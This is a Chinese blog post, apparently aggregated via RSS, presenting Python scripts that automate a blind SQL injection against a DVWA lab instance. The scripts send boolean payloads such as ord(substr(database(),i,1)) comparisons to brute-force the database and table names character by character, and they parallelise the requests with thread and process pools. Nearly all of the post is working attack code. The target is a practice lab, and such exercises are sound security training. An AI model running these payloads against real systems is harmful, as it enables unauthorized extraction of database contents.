


























请注意,本文编写于 759 天前,最后修改于 743 天前,其中某些信息可能已经过时。
加入多线程&多进程
import concurrent.futures import requests from bs4 import BeautifulSoup def run_code(demot): texterr = "User ID is MISSING from the database." base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/" session_id = "8tuabbh2e1oiv0c2flpn3jbvk4" params = {"id": demot, "Submit": "Submit"} cookies = {"PHPSESSID": session_id, "security": "low"} response = requests.get(base_url, params=params, cookies=cookies) print(response.status_code) soup = BeautifulSoup(response.text, "html.parser") search_results = soup.find_all("pre") print(search_results) print(demot) for result in search_results: text = result.text.strip() print(text) if (text != texterr) and ("User ID exists in the database." in text): with open("example.txt", "a") as file: file.write(demot + "\n") # 多线程运行 # if __name__ == "__main__": # demots = list(range(1, 200)) # 保存所有需要运行的demot # max_threads = 10 # 最大线程数 # with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor: # for i in range(1, 6): # for demo in range(1, 128): # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #" # executor.submit(run_code, demot) # 多进程 if __name__ == "__main__": max_processes = 60 with concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor: for i in range(1, 6): for demo in range(1, 128): # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #" demot = f"1'and ord(substr(database(),{i},1))= {demo} #" executor.submit(run_code, demot)
import requests from bs4 import BeautifulSoup texterr = "User ID is MISSING from the database." base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/" session_id = "sb35jegkjt33kjgovvptbua022" for i in range(1, 5): for demo in range(1, 128): demot = f"1' and ord(substr(database(), {i}, 1)) = {demo} #" params = {"id": demot, "Submit": "Submit"} cookies = {"PHPSESSID": session_id, "security": "low"} response = requests.get(base_url, params=params, cookies=cookies) soup = BeautifulSoup(response.text, "html.parser") search_results = soup.find_all("pre") for result in search_results: text = result.text.strip() print(demot) if (text != texterr) and ("User ID exists in the database." in text): with open("example.txt", "a") as file: file.write(demot + "\n") break
相关信息
新版本使用了concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor 创建了一个进程池执行器(ProcessPoolExecutor),设置最大工作进程数为max_processes
来达到加速测试的效果
以下是对python的多线程和多进程的优劣关系和应用场景的解释
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。